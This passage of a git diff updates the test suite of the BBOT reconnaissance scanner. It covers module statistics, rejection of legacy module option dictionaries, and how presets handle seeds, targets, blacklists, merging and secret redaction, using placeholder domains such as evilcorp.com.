-async def test_modules_basic_stats(helpers, events, bbot_scanner, httpx_mock, monkeypatch):
+async def test_modules_basic_stats(helpers, events, bbot_scanner, blasthttp_mock, monkeypatch):
     from bbot.modules.base import BaseModule
 
     class dummy(BaseModule):
@@ -379,16 +416,28 @@ async def handle_event(self, event):
             # quick emit events like FINDINGS behave differently than normal ones
             # hosts are not speculated from them
             await self.emit_event(
-                {"host": "www.evilcorp.com", "url": "http://www.evilcorp.com", "description": "asdf"}, "FINDING", event
+                {
+                    "host": "www.evilcorp.com",
+                    "url": "http://www.evilcorp.com",
+                    "description": "asdf",
+                    "name": "Finding",
+                    "severity": "LOW",
+                    "confidence": "MEDIUM",
+                },
+                "FINDING",
+                event,
             )
             await self.emit_event("https://asdf.evilcorp.com", "URL", event, tags=["status-200"])
 
     scan = bbot_scanner(
         "evilcorp.com",
         config={"speculate": True, "dns": {"minimal": False}},
-        output_modules=["python"],
+        exclude_output_modules=["csv", "json", "txt"],
         force_start=True,
     )
+
+    await scan._prep()
+
     await scan.helpers.dns._mock_dns(
         {
             "evilcorp.com": {"A": ["127.0.254.1"]},
@@ -422,9 +471,9 @@ async def handle_event(self, event):
         "FINDING": 1,
     }
 
-    assert set(scan.stats.module_stats) == {"speculate", "host", "TARGET", "python", "dummy", "dnsresolve"}
+    assert set(scan.stats.module_stats) == {"speculate", "host", "SEED", "python", "dummy", "dnsresolve"}
 
-    target_stats = scan.stats.module_stats["TARGET"]
+    target_stats = scan.stats.module_stats["SEED"]
     assert target_stats.produced == {"SCAN": 1, "DNS_NAME": 1}
     assert target_stats.produced_total == 2
     assert target_stats.consumed == {}
@@ -464,6 +513,8 @@ async def handle_event(self, event):
     assert speculate_stats.consumed == {"URL": 1, "DNS_NAME": 3, "URL_UNVERIFIED": 1, "IP_ADDRESS": 3}
     assert speculate_stats.consumed_total == 8
 
+    await scan._cleanup()
+
 
 @pytest.mark.asyncio
 async def test_module_loading(bbot_scanner):
@@ -473,8 +524,8 @@ async def test_module_loading(bbot_scanner):
         config={i: True for i in available_internal_modules if i != "dnsresolve"},
         force_start=True,
     )
-    await scan2.load_modules()
-    scan2.status = "RUNNING"
+    await scan2._prep()
+    await scan2._set_status("RUNNING")
 
     # attributes, descriptions, etc.
     for module_name, module in sorted(scan2.modules.items()):
@@ -490,3 +541,111 @@ async def test_module_loading(bbot_scanner):
     assert not any(not_async)
 
     await scan2._cleanup()
+
+
+def test_legacy_options_dict_rejected(tmp_path):
+    """A pre-3.0 user module that declares an `options` / `options_desc` dict
+    instead of a `class Config(BaseModuleConfig)` schema must be rejected at
+    preload time with a clear migration message. Otherwise the loader would
+    silently ignore the defaults and the user would never know."""
+    from bbot.errors import BBOTError
+    from bbot.core.modules import MODULE_LOADER
+
+    legacy_mod = tmp_path / "legacy_user_mod.py"
+    legacy_mod.write_text(
+        """
+from bbot.modules.base import BaseModule
+
+
+class legacy_user_mod(BaseModule):
+    watched_events = ["DNS_NAME"]
+    produced_events = ["FINDING"]
+    flags = ["passive", "safe"]
+    meta = {"description": "x", "created_date": "2024-01-01", "author": "@x"}
+
+    options = {"api_key": "", "max_results": 100}
+    options_desc = {"api_key": "API key", "max_results": "Max results"}
+
+    async def handle_event(self, event):
+        pass
+"""
+    )
+
+    with pytest.raises(BBOTError) as excinfo:
+        MODULE_LOADER.preload_module(legacy_mod)
+    msg = str(excinfo.value)
+    assert "legacy_user_mod" in msg
+    assert "no longer supported" in msg
+    assert "class Config(BaseModuleConfig)" in msg
+
+    # And a module that declares only options_desc (still legacy) is also rejected.
+    legacy_mod_desc_only = tmp_path / "legacy_desc_only.py"
+    legacy_mod_desc_only.write_text(
+        """
+from bbot.modules.base import BaseModule
+
+
+class legacy_desc_only(BaseModule):
+    watched_events = ["DNS_NAME"]
+    produced_events = ["FINDING"]
+    flags = ["passive", "safe"]
+    meta = {"description": "x", "created_date": "2024-01-01", "author": "@x"}
+
+    options_desc = {"api_key": "API key"}
+
+    async def handle_event(self, event):
+        pass
+"""
+    )
+    with pytest.raises(BBOTError):
+        MODULE_LOADER.preload_module(legacy_mod_desc_only)
+
+    # A module with a real `class Config` and NO legacy dict must load cleanly.
+    new_mod = tmp_path / "new_style_mod.py"
+    new_mod.write_text(
+        """
+from bbot.modules.base import BaseModule
+from bbot.core.config.models import BaseModuleConfig, Field
+
+
+class new_style_mod(BaseModule):
+    watched_events = ["DNS_NAME"]
+    produced_events = ["FINDING"]
+    flags = ["passive", "safe"]
+    meta = {"description": "x", "created_date": "2024-01-01", "author": "@x"}
+
+    class Config(BaseModuleConfig):
+        api_key: str = Field("", description="API key", sensitive=True)
+
+    async def handle_event(self, event):
+        pass
+"""
+    )
+    preloaded = MODULE_LOADER.preload_module(new_mod)
+    assert preloaded is not None
+    assert preloaded["config"] == {"api_key": ""}
+
+    # The annotated form `options: dict = {...}` (ast.AnnAssign) must also be rejected,
+    # not silently slip the guard.
+    annotated_mod = tmp_path / "annotated_legacy_mod.py"
+    annotated_mod.write_text(
+        """
+from bbot.modules.base import BaseModule
+
+
+class annotated_legacy_mod(BaseModule):
+    watched_events = ["DNS_NAME"]
+    produced_events = ["FINDING"]
+    flags = ["passive", "safe"]
+    meta = {"description": "x", "created_date": "2024-01-01", "author": "@x"}
+
+    options: dict = {"api_key": ""}
+    options_desc: dict = {"api_key": "API key"}
+
+    async def handle_event(self, event):
+        pass
+"""
+    )
+    with pytest.raises(BBOTError) as excinfo:
+        MODULE_LOADER.preload_module(annotated_mod)
+    assert "no longer supported" in str(excinfo.value)
diff --git a/bbot/test/test_step_1/test_preset_seeds.py b/bbot/test/test_step_1/test_preset_seeds.py
new file mode 100644
index 0000000000..3c54898046
--- /dev/null
+++ b/bbot/test/test_step_1/test_preset_seeds.py
@@ -0,0 +1,25 @@
+from bbot.scanner.preset import Preset
+
+
+def test_preset_target_and_seeds_default():
+    """
+    If no explicit seeds are provided, seeds should be copied from target.
+    """
+    preset = Preset("evilcorp.com")
+    baked = preset.validate().bake()
+
+    target = baked.target
+    assert set(target.target.inputs) == {"evilcorp.com"}
+    assert set(target.seeds.inputs) == {"evilcorp.com"}
+
+
+def test_preset_target_and_seeds_explicit_seeds_override():
+    """
+    If explicit seeds are provided, they should NOT be copied from target.
+    """
+    preset = Preset("evilcorp.com", seeds=["seedonly.evilcorp.com"])
+    baked = preset.validate().bake()
+
+    target = baked.target
+    assert set(target.target.inputs) == {"evilcorp.com"}
+    assert set(target.seeds.inputs) == {"seedonly.evilcorp.com"}
diff --git a/bbot/test/test_step_1/test_presets.py b/bbot/test/test_step_1/test_presets.py
index 82b1638752..fa2be51253 100644
--- a/bbot/test/test_step_1/test_presets.py
+++ b/bbot/test/test_step_1/test_presets.py
@@ -1,3 +1,6 @@
+import stat
+import tempfile
+
 from ..bbot_fixtures import *  # noqa F401
 
 from bbot.scanner import Scanner, Preset
@@ -25,31 +28,21 @@ def test_preset_descriptions():
 def test_core():
     from bbot.core import CORE
 
-    import omegaconf
-
     assert "testasdf" not in CORE.default_config
     assert "testasdf" not in CORE.custom_config
     assert "testasdf" not in CORE.config
 
     core_copy = CORE.copy()
-    # make sure our default config is read-only
-    with pytest.raises(omegaconf.errors.ReadonlyConfigError):
-        core_copy.default_config["testasdf"] = "test"
-    # same for merged config
-    with pytest.raises(omegaconf.errors.ReadonlyConfigError):
-        core_copy.config["testasdf"] = "test"
-
-    assert "testasdf" not in core_copy.default_config
-    assert "testasdf" not in core_copy.custom_config
-    assert "testasdf" not in core_copy.config
-
+    # custom_config is mutable per-instance; default/merged config should not leak back
     core_copy.custom_config["testasdf"] = "test"
-    assert "testasdf" not in core_copy.default_config
+    assert "testasdf" not in CORE.custom_config
+    assert "testasdf" not in CORE.config
     assert "testasdf" in core_copy.custom_config
+    # force a re-merge by reading .config
     assert "testasdf" in core_copy.config
 
     # test config merging
-    config_to_merge = omegaconf.OmegaConf.create({"test123": {"test321": [3, 2, 1], "test456": [4, 5, 6]}})
+    config_to_merge = {"test123": {"test321": [3, 2, 1], "test456": [4, 5, 6]}}
     core_copy.merge_custom(config_to_merge)
     assert "test123" not in core_copy.default_config
     assert "test123" in core_copy.custom_config
@@ -58,7 +51,9 @@ def test_core():
     assert "test321" in core_copy.config["test123"]
 
     # test deletion
-    del core_copy.custom_config.test123.test321
+    del core_copy.custom_config["test123"]["test321"]
+    # force re-merge
+    core_copy._config = None
     assert "test123" in core_copy.custom_config
     assert "test123" in core_copy.config
     assert "test321" not in core_copy.custom_config["test123"]
@@ -67,13 +62,12 @@ def test_core():
     assert "test456" in core_copy.config["test123"]
 
 
-def test_preset_yaml(clean_default_config):
+async def test_preset_yaml(clean_default_config):
     import yaml
 
     preset1 = Preset(
-        "evilcorp.com",
-        "www.evilcorp.ce",
-        whitelist=["evilcorp.ce"],
+        "evilcorp.ce",
+        seeds=["evilcorp.com", "www.evilcorp.ce"],
         blacklist=["test.www.evilcorp.ce"],
         modules=["sslcert"],
         output_modules=["json"],
@@ -84,20 +78,20 @@ def test_preset_yaml(clean_default_config):
         verbose=False,
         debug=False,
         silent=True,
-        config={"preset_test_asdf": 1},
+        config={"keep_scans": 42},
     )
-    preset1 = preset1.bake()
+    preset1 = preset1.validate().bake()
     assert "evilcorp.com" in preset1.target.seeds
     assert "evilcorp.ce" not in preset1.target.seeds
     assert "asdf.www.evilcorp.ce" in preset1.target.seeds
-    assert "evilcorp.ce" in preset1.whitelist
-    assert "asdf.evilcorp.ce" in preset1.whitelist
+    assert "evilcorp.ce" in preset1.target.target
+    assert "asdf.evilcorp.ce" in preset1.target.target
     assert "test.www.evilcorp.ce" in preset1.blacklist
     assert "asdf.test.www.evilcorp.ce" in preset1.blacklist
     assert "sslcert" in preset1.scan_modules
-    assert preset1.whitelisted("evilcorp.ce")
-    assert preset1.whitelisted("www.evilcorp.ce")
-    assert not preset1.whitelisted("evilcorp.com")
+    assert preset1.in_target("evilcorp.ce")
+    assert preset1.in_target("www.evilcorp.ce")
+    assert not preset1.in_target("evilcorp.com")
     assert preset1.blacklisted("test.www.evilcorp.ce")
     assert preset1.blacklisted("asdf.test.www.evilcorp.ce")
     assert not preset1.blacklisted("www.evilcorp.ce")
@@ -113,7 +107,7 @@ def test_preset_yaml(clean_default_config):
   - subdomain-enum
 
 exclude_flags:
-  - aggressive
+  - loud
   - slow
 
 require_flags:
@@ -152,7 +146,7 @@ def test_preset_cache():
   - subdomain-enum
 
 exclude_flags:
-  - aggressive
+  - loud
   - slow
 """
     with open(preset_file, "w") as f:
@@ -160,7 +154,7 @@ def test_preset_cache():
 
     preset = Preset.from_yaml_file(preset_file)
     assert "subdomain-enum" in preset.flags
-    assert "aggressive" in preset.exclude_flags
+    assert "loud" in preset.exclude_flags
     assert "slow" in preset.exclude_flags
     from bbot.scanner.preset.preset import _preset_cache
 
@@ -169,34 +163,36 @@ def test_preset_cache():
     preset_file.unlink()
 
 
-def test_preset_scope():
+@pytest.mark.asyncio
+async def test_preset_scope(clean_default_config):
     # test target merging
     scan = Scanner("1.2.3.4", preset=Preset.from_dict({"target": ["evilcorp.com"]}))
+    await scan._prep()
     assert {str(h) for h in scan.preset.target.seeds.hosts} == {"1.2.3.4/32", "evilcorp.com"}
     assert {e.data for e in scan.target.seeds} == {"1.2.3.4", "evilcorp.com"}
-    assert {e.data for e in scan.target.whitelist} == {"1.2.3.4/32", "evilcorp.com"}
+    assert {str(h) for h in scan.target.target.hosts} == {"1.2.3.4/32", "evilcorp.com"}
 
     blank_preset = Preset()
-    blank_preset = blank_preset.bake()
+    blank_preset = blank_preset.validate().bake()
     assert not blank_preset.target.seeds
-    assert not blank_preset.target.whitelist
+    assert not blank_preset.target.target
     assert blank_preset.strict_scope is False
 
+    # Positional args define target; seeds must be explicit
     preset1 = Preset(
-        "evilcorp.com",
-        "www.evilcorp.ce",
-        whitelist=["evilcorp.ce"],
+        "evilcorp.ce",
+        seeds=["evilcorp.com", "www.evilcorp.ce"],
         blacklist=["test.www.evilcorp.ce"],
     )
-    preset1_baked = preset1.bake()
+    preset1_baked = preset1.validate().bake()
 
     # make sure target logic works as expected
     assert "evilcorp.com" in preset1_baked.target.seeds
-    assert "evilcorp.com" not in preset1_baked.target.whitelist
+    assert "evilcorp.com" not in preset1_baked.target.target
     assert "asdf.evilcorp.com" in preset1_baked.target.seeds
-    assert "asdf.evilcorp.com" not in preset1_baked.target.whitelist
-    assert "asdf.evilcorp.ce" in preset1_baked.whitelist
-    assert "evilcorp.ce" in preset1_baked.whitelist
+    assert "asdf.evilcorp.com" not in preset1_baked.target.target
+    assert "asdf.evilcorp.ce" in preset1_baked.target.target
+    assert "evilcorp.ce" in preset1_baked.target.target
     assert "test.www.evilcorp.ce" in preset1_baked.blacklist
     assert "evilcorp.ce" not in preset1_baked.blacklist
     assert preset1_baked.in_scope("www.evilcorp.ce")
@@ -211,15 +207,15 @@ def test_preset_scope():
 
     # test preset merging
     preset3 = Preset(
-        "evilcorp.org",
-        whitelist=["evilcorp.de"],
+        "evilcorp.de",
+        seeds=["evilcorp.org"],
         blacklist=["test.www.evilcorp.de"],
         config={"scope": {"strict": True}},
     )
 
     preset1.merge(preset3)
 
-    preset1_baked = preset1.bake()
+    preset1_baked = preset1.validate().bake()
 
     # targets should be merged
     assert "evilcorp.com" in preset1_baked.target.seeds
@@ -230,10 +226,10 @@ def test_preset_scope():
     assert "asdf.evilcorp.org" not in preset1_baked.target.seeds
     assert "asdf.evilcorp.com" not in preset1_baked.target.seeds
     assert "asdf.www.evilcorp.ce" not in preset1_baked.target.seeds
-    assert "evilcorp.ce" in preset1_baked.whitelist
-    assert "evilcorp.de" in preset1_baked.whitelist
-    assert "asdf.evilcorp.de" not in preset1_baked.whitelist
-    assert "asdf.evilcorp.ce" not in preset1_baked.whitelist
+    assert "evilcorp.ce" in preset1_baked.target.target
+    assert "evilcorp.de" in preset1_baked.target.target
+    assert "asdf.evilcorp.de" not in preset1_baked.target.target
+    assert "asdf.evilcorp.ce" not in preset1_baked.target.target
     # blacklist should be merged, strict scope does not apply
     assert "test.www.evilcorp.ce" in preset1_baked.blacklist
     assert "test.www.evilcorp.de" in preset1_baked.blacklist
@@ -248,135 +244,163 @@ def test_preset_scope():
     assert not preset1_baked.in_scope("evilcorp.com")
     assert not preset1_baked.in_scope("asdf.test.www.evilcorp.ce")
 
-    preset4 = Preset(output_modules="neo4j")
-    set(preset1.output_modules) == {"python", "csv", "txt", "json", "stdout"}
+    preset4 = Preset(output_modules=["neo4j"])
     preset1.merge(preset4)
-    set(preset1.output_modules) == {"python", "csv", "txt", "json", "stdout", "neo4j"}
-
-    # test preset merging + whitelist
-
-    preset_nowhitelist = Preset("evilcorp.com", name="nowhitelist")
-    preset_whitelist = Preset(
-        "evilcorp.org",
-        name="whitelist",
-        whitelist=["1.2.3.4/24", "http://evilcorp.net"],
+    merged_baked = preset1.validate().bake()
+    assert "neo4j" in merged_baked.output_modules
+    for default in ("csv", "txt", "json"):
+        assert default in merged_baked.output_modules
+
+    # test preset merging + seeds/target interaction
+
+    # Domain present as both explicit seed and targets
+    preset_domain_with_seed = Preset("evilcorp.com", seeds=["evilcorp.com"], name="domain_with_seed")
+    preset_with_target_scope = Preset(
+        "1.2.3.4/24",
+        "http://evilcorp.net",
+        name="with_target_scope",
+        seeds=["evilcorp.org"],
         blacklist=["evilcorp.co.uk:443", "bob@evilcorp.co.uk"],
-        config={"modules": {"secretsdb": {"api_key": "deadbeef", "otherthing": "asdf"}}},
+        config={"modules": {"github_workflows": {"api_key": "deadbeef", "output_folder": "asdf"}}},
     )
 
-    preset_nowhitelist_baked = preset_nowhitelist.bake()
-    preset_whitelist_baked = preset_whitelist.bake()
-
-    assert preset_nowhitelist_baked.to_dict(include_target=True) == {
-        "target": ["evilcorp.com"],
+    preset_domain_with_seed_baked = preset_domain_with_seed.validate().bake()
+    preset_with_target_scope_baked = preset_with_target_scope.validate().bake()
+
+    # When seeds and targets are identical, only targets are serialized.
+    domain_with_seed_dict = preset_domain_with_seed_baked.to_dict(include_target=True)
+    assert domain_with_seed_dict.get("target") == ["evilcorp.com"]
+    assert "seeds" not in domain_with_seed_dict
+
+    # preset with explicit target scope
+    scope_dict = preset_with_target_scope_baked.to_dict(include_target=True)
+    assert set(scope_dict["target"]) == {"1.2.3.0/24", "http://evilcorp.net/"}
+    assert set(scope_dict["blacklist"]) == {"bob@evilcorp.co.uk", "evilcorp.co.uk:443"}
+    # github_workflows config should be preserved (other module config may also be present)
+    assert scope_dict["config"]["modules"]["github_workflows"] == {
+        "api_key": "deadbeef",
+        "output_folder": "asdf",
     }
-    assert preset_whitelist_baked.to_dict(include_target=True) == {
-        "target": ["evilcorp.org"],
-        "whitelist": ["1.2.3.0/24", "http://evilcorp.net/"],
-        "blacklist": ["bob@evilcorp.co.uk", "evilcorp.co.uk:443"],
-        "config": {"modules": {"secretsdb": {"api_key": "deadbeef", "otherthing": "asdf"}}},
+
+    redacted_dict = preset_with_target_scope_baked.to_dict(include_target=True, redact_secrets=True)
+    assert set(redacted_dict["target"]) == {"1.2.3.0/24", "http://evilcorp.net/"}
+    assert set(redacted_dict["blacklist"]) == {"bob@evilcorp.co.uk", "evilcorp.co.uk:443"}
+    assert redacted_dict["config"]["modules"]["github_workflows"] == {"output_folder": "asdf"}
+
+    assert preset_domain_with_seed_baked.in_scope("www.evilcorp.com")
+    assert not preset_domain_with_seed_baked.in_scope("www.evilcorp.de")
+    assert not preset_domain_with_seed_baked.in_scope("1.2.3.4/24")
+
+    assert "www.evilcorp.org" in preset_with_target_scope_baked.target.seeds
+    assert "www.evilcorp.org" not in preset_with_target_scope_baked.target.target
+    assert "1.2.3.4" in preset_with_target_scope_baked.target.target
+    assert not preset_with_target_scope_baked.in_scope("www.evilcorp.org")
+    assert not preset_with_target_scope_baked.in_scope("www.evilcorp.de")
+    assert not preset_with_target_scope_baked.in_target("www.evilcorp.org")
+    assert not preset_with_target_scope_baked.in_target("www.evilcorp.de")
+    assert preset_with_target_scope_baked.in_scope("1.2.3.4")
+    assert preset_with_target_scope_baked.in_scope("1.2.3.4/28")
+    assert preset_with_target_scope_baked.in_scope("1.2.3.4/24")
+    assert preset_with_target_scope_baked.in_target("1.2.3.4")
+    assert preset_with_target_scope_baked.in_target("1.2.3.4/28")
+    assert preset_with_target_scope_baked.in_target("1.2.3.4/24")
+
+    assert {e.data for e in preset_domain_with_seed_baked.seeds} == {"evilcorp.com"}
+    assert {e.data for e in preset_domain_with_seed_baked.target.target} == {"evilcorp.com"}
+    assert {e.data for e in preset_with_target_scope_baked.seeds} == {"evilcorp.org"}
+    assert {e.data for e in preset_with_target_scope_baked.target.target} == {"1.2.3.0/24", "http://evilcorp.net/"}
+
+    # When merging a preset that has both seeds and target with one that only has
+    # target (no explicit seeds), explicit seeds are unioned and targets are unioned.
+    preset_domain_with_seed.merge(preset_with_target_scope)
+    preset_domain_with_seed_baked = preset_domain_with_seed.validate().bake()
+    assert {e.data for e in preset_domain_with_seed_baked.seeds} == {"evilcorp.com", "evilcorp.org"}
+    # After merging, target scope should include both the original domain target and the scoped network/URL
+    assert {e.data for e in preset_domain_with_seed_baked.target.target} == {
+        "evilcorp.com",
+        "1.2.3.0/24",
+        "http://evilcorp.net/",
     }
-    assert preset_whitelist_baked.to_dict(include_target=True, redact_secrets=True) == {
-        "target": ["evilcorp.org"],
-        "whitelist": ["1.2.3.0/24", "http://evilcorp.net/"],
-        "blacklist": ["bob@evilcorp.co.uk", "evilcorp.co.uk:443"],
-        "config": {"modules": {"secretsdb": {"otherthing": "asdf"}}},
+    assert "www.evilcorp.org" in preset_domain_with_seed_baked.seeds
+    assert "www.evilcorp.com" in preset_domain_with_seed_baked.seeds
+    assert "1.2.3.4" in preset_domain_with_seed_baked.target.target
+    assert not preset_domain_with_seed_baked.in_scope("www.evilcorp.org")
+    # After merging, evilcorp.com remains in target, so its www subdomain is in-scope and in-target
+    assert preset_domain_with_seed_baked.in_scope("www.evilcorp.com")
+    assert not preset_domain_with_seed_baked.in_target("www.evilcorp.org")
+    assert preset_domain_with_seed_baked.in_target("www.evilcorp.com")
+    assert preset_domain_with_seed_baked.in_scope("1.2.3.4")
+
+    # When merging a preset that only defines targets (no explicit seeds),
+    # its targets are not promoted to seeds in the merged preset, but targets are unioned.
+    preset_targets_only = Preset("evilcorp.com")
+    preset_with_target_scope = Preset("1.2.3.4/24", seeds=["evilcorp.org"])
+    preset_with_target_scope.merge(preset_targets_only)
+    preset_with_target_scope_baked = preset_with_target_scope.validate().bake()
+    # Seeds stay as the explicit seeds from the base preset
+    assert {e.data for e in preset_with_target_scope_baked.seeds} == {"evilcorp.org"}
+    # Target scope is the union of both presets' targets.
+    assert {e.data for e in preset_with_target_scope_baked.target.target} == {
+        "evilcorp.com",
+        "1.2.3.0/24",
     }
-
-    assert preset_nowhitelist_baked.in_scope("www.evilcorp.com")
-    assert not preset_nowhitelist_baked.in_scope("www.evilcorp.de")
-    assert not preset_nowhitelist_baked.in_scope("1.2.3.4/24")
-
-    assert "www.evilcorp.org" in preset_whitelist_baked.target.seeds
-    assert "www.evilcorp.org" not in preset_whitelist_baked.target.whitelist
-    assert "1.2.3.4" in preset_whitelist_baked.whitelist
-    assert not preset_whitelist_baked.in_scope("www.evilcorp.org")
-    assert not preset_whitelist_baked.in_scope("www.evilcorp.de")
-    assert not preset_whitelist_baked.whitelisted("www.evilcorp.org")
-    assert not preset_whitelist_baked.whitelisted("www.evilcorp.de")
-    assert preset_whitelist_baked.in_scope("1.2.3.4")
-    assert preset_whitelist_baked.in_scope("1.2.3.4/28")
-    assert preset_whitelist_baked.in_scope("1.2.3.4/24")
-    assert preset_whitelist_baked.whitelisted("1.2.3.4")
-    assert preset_whitelist_baked.whitelisted("1.2.3.4/28")
-    assert preset_whitelist_baked.whitelisted("1.2.3.4/24")
-
-    assert {e.data for e in preset_nowhitelist_baked.seeds} == {"evilcorp.com"}
-    assert {e.data for e in preset_nowhitelist_baked.whitelist} == {"evilcorp.com"}
-    assert {e.data for e in preset_whitelist_baked.seeds} == {"evilcorp.org"}
-    assert {e.data for e in preset_whitelist_baked.whitelist} == {"1.2.3.0/24", "http://evilcorp.net/"}
-
-    preset_nowhitelist.merge(preset_whitelist)
-    preset_nowhitelist_baked = preset_nowhitelist.bake()
-    assert {e.data for e in preset_nowhitelist_baked.seeds} == {"evilcorp.com", "evilcorp.org"}
-    assert {e.data for e in preset_nowhitelist_baked.whitelist} == {"1.2.3.0/24", "http://evilcorp.net/"}
-    assert "www.evilcorp.org" in preset_nowhitelist_baked.seeds
-    assert "www.evilcorp.com" in preset_nowhitelist_baked.seeds
-    assert "1.2.3.4" in preset_nowhitelist_baked.whitelist
-    assert not preset_nowhitelist_baked.in_scope("www.evilcorp.org")
-    assert not preset_nowhitelist_baked.in_scope("www.evilcorp.com")
-    assert not preset_nowhitelist_baked.whitelisted("www.evilcorp.org")
-    assert not preset_nowhitelist_baked.whitelisted("www.evilcorp.com")
-    assert preset_nowhitelist_baked.in_scope("1.2.3.4")
-
-    preset_nowhitelist = Preset("evilcorp.com")
-    preset_whitelist = Preset("evilcorp.org", whitelist=["1.2.3.4/24"])
-    preset_whitelist.merge(preset_nowhitelist)
-    preset_whitelist_baked = preset_whitelist.bake()
-    assert {e.data for e in preset_whitelist_baked.seeds} == {"evilcorp.com", "evilcorp.org"}
-    assert {e.data for e in preset_whitelist_baked.whitelist} == {"1.2.3.0/24"}
-    assert "www.evilcorp.org" in preset_whitelist_baked.seeds
-    assert "www.evilcorp.com" in preset_whitelist_baked.seeds
-    assert "www.evilcorp.org" not in preset_whitelist_baked.target.whitelist
-    assert "www.evilcorp.com" not in preset_whitelist_baked.target.whitelist
-    assert "1.2.3.4" in preset_whitelist_baked.whitelist
-    assert not preset_whitelist_baked.in_scope("www.evilcorp.org")
-    assert not preset_whitelist_baked.in_scope("www.evilcorp.com")
-    assert not preset_whitelist_baked.whitelisted("www.evilcorp.org")
-    assert not preset_whitelist_baked.whitelisted("www.evilcorp.com")
-    assert preset_whitelist_baked.in_scope("1.2.3.4")
-
-    preset_nowhitelist1 = Preset("evilcorp.com")
-    preset_nowhitelist2 = Preset("evilcorp.de")
-    preset_nowhitelist1_baked = preset_nowhitelist1.bake()
-    preset_nowhitelist2_baked = preset_nowhitelist2.bake()
-    assert {e.data for e in preset_nowhitelist1_baked.seeds} == {"evilcorp.com"}
-    assert {e.data for e in preset_nowhitelist2_baked.seeds} == {"evilcorp.de"}
-    assert {e.data for e in preset_nowhitelist1_baked.whitelist} == {"evilcorp.com"}
-    assert {e.data for e in preset_nowhitelist2_baked.whitelist} == {"evilcorp.de"}
-    preset_nowhitelist1.merge(preset_nowhitelist2)
-    preset_nowhitelist1_baked = preset_nowhitelist1.bake()
-    assert {e.data for e in preset_nowhitelist1_baked.seeds} == {"evilcorp.com", "evilcorp.de"}
-    assert {e.data for e in preset_nowhitelist2_baked.seeds} == {"evilcorp.de"}
-    assert {e.data for e in preset_nowhitelist1_baked.whitelist} == {"evilcorp.com", "evilcorp.de"}
-    assert {e.data for e in preset_nowhitelist2_baked.whitelist} == {"evilcorp.de"}
-    assert "www.evilcorp.com" in preset_nowhitelist1_baked.seeds
-    assert "www.evilcorp.de" in preset_nowhitelist1_baked.seeds
-    assert "www.evilcorp.com" in preset_nowhitelist1_baked.target.seeds
-    assert "www.evilcorp.de" in preset_nowhitelist1_baked.target.seeds
-    assert "www.evilcorp.com" in preset_nowhitelist1_baked.whitelist
-    assert "www.evilcorp.de" in preset_nowhitelist1_baked.whitelist
-    assert preset_nowhitelist1_baked.whitelisted("www.evilcorp.com")
-    assert preset_nowhitelist1_baked.whitelisted("www.evilcorp.de")
-    assert not preset_nowhitelist1_baked.whitelisted("1.2.3.4")
-    assert preset_nowhitelist1_baked.in_scope("www.evilcorp.com")
-    assert preset_nowhitelist1_baked.in_scope("www.evilcorp.de")
-    assert not preset_nowhitelist1_baked.in_scope("1.2.3.4")
-
-    preset_nowhitelist1 = Preset("evilcorp.com")
-    preset_nowhitelist2 = Preset("evilcorp.de")
-    preset_nowhitelist2.merge(preset_nowhitelist1)
-    preset_nowhitelist1_baked = preset_nowhitelist1.bake()
-    preset_nowhitelist2_baked = preset_nowhitelist2.bake()
-    assert {e.data for e in preset_nowhitelist1_baked.seeds} == {"evilcorp.com"}
-    assert {e.data for e in preset_nowhitelist2_baked.seeds} == {"evilcorp.com", "evilcorp.de"}
-    assert {e.data for e in preset_nowhitelist1_baked.whitelist} == {"evilcorp.com"}
-    assert {e.data for e in preset_nowhitelist2_baked.whitelist} == {"evilcorp.com", "evilcorp.de"}
+    # Seed expansion only applies to explicit seeds (evilcorp.org), not merged targets.
+    assert "www.evilcorp.org" in preset_with_target_scope_baked.seeds
+    assert "www.evilcorp.com" not in preset_with_target_scope_baked.seeds
+    # Target expansion only applies to targets (evilcorp.com), not seeds-only domains.
+    assert "www.evilcorp.org" not in preset_with_target_scope_baked.target.target
+    assert "www.evilcorp.com" in preset_with_target_scope_baked.target.target
+    # Scope/target checks reflect that only evilcorp.com is in the merged target.
+    assert not preset_with_target_scope_baked.in_scope("www.evilcorp.org")
+    assert preset_with_target_scope_baked.in_scope("www.evilcorp.com")
+    assert not preset_with_target_scope_baked.in_target("www.evilcorp.org")
+    assert preset_with_target_scope_baked.in_target("www.evilcorp.com")
+    assert preset_with_target_scope_baked.in_scope("1.2.3.4")
+
+    # Merging two presets created only with positional targets:
+    # after bake, each has seeds backfilled from its own target, and merge unions both.
+    preset_targets_only1 = Preset("evilcorp.com")
+    preset_targets_only2 = Preset("evilcorp.de")
+    preset_targets_only1_baked = preset_targets_only1.validate().bake()
+    preset_targets_only2_baked = preset_targets_only2.validate().bake()
+    assert {e.data for e in preset_targets_only1_baked.seeds} == {"evilcorp.com"}
+    assert {e.data for e in preset_targets_only2_baked.seeds} == {"evilcorp.de"}
+    assert {e.data for e in preset_targets_only1_baked.target.target} == {"evilcorp.com"}
+    assert {e.data for e in preset_targets_only2_baked.target.target} == {"evilcorp.de"}
+    preset_targets_only1.merge(preset_targets_only2)
+    preset_targets_only1_baked = preset_targets_only1.validate().bake()
+    assert {e.data for e in preset_targets_only1_baked.seeds} == {"evilcorp.com", "evilcorp.de"}
+    assert {e.data for e in preset_targets_only2_baked.seeds} == {"evilcorp.de"}
+    assert {e.data for e in preset_targets_only1_baked.target.target} == {"evilcorp.com", "evilcorp.de"}
+    assert {e.data for e in preset_targets_only2_baked.target.target} == {"evilcorp.de"}
+    assert "www.evilcorp.com" in preset_targets_only1_baked.seeds
+    assert "www.evilcorp.de" in preset_targets_only1_baked.seeds
+    assert "www.evilcorp.com" in preset_targets_only1_baked.target.seeds
+    assert "www.evilcorp.de" in preset_targets_only1_baked.target.seeds
+    assert "www.evilcorp.com" in preset_targets_only1_baked.target.target
+    assert "www.evilcorp.de" in preset_targets_only1_baked.target.target
+    assert preset_targets_only1_baked.in_target("www.evilcorp.com")
+    assert preset_targets_only1_baked.in_target("www.evilcorp.de")
+    assert not preset_targets_only1_baked.in_target("1.2.3.4")
+    assert preset_targets_only1_baked.in_scope("www.evilcorp.com")
+    assert preset_targets_only1_baked.in_scope("www.evilcorp.de")
+    assert not preset_targets_only1_baked.in_scope("1.2.3.4")
+
+    preset_targets_only1 = Preset("evilcorp.com")
+    preset_targets_only2 = Preset("evilcorp.de")
+    preset_targets_only2.merge(preset_targets_only1)
+    preset_targets_only1_baked = preset_targets_only1.validate().bake()
+    preset_targets_only2_baked = preset_targets_only2.validate().bake()
+    assert {e.data for e in preset_targets_only1_baked.seeds} == {"evilcorp.com"}
+    assert {e.data for e in preset_targets_only2_baked.seeds} == {"evilcorp.com", "evilcorp.de"}
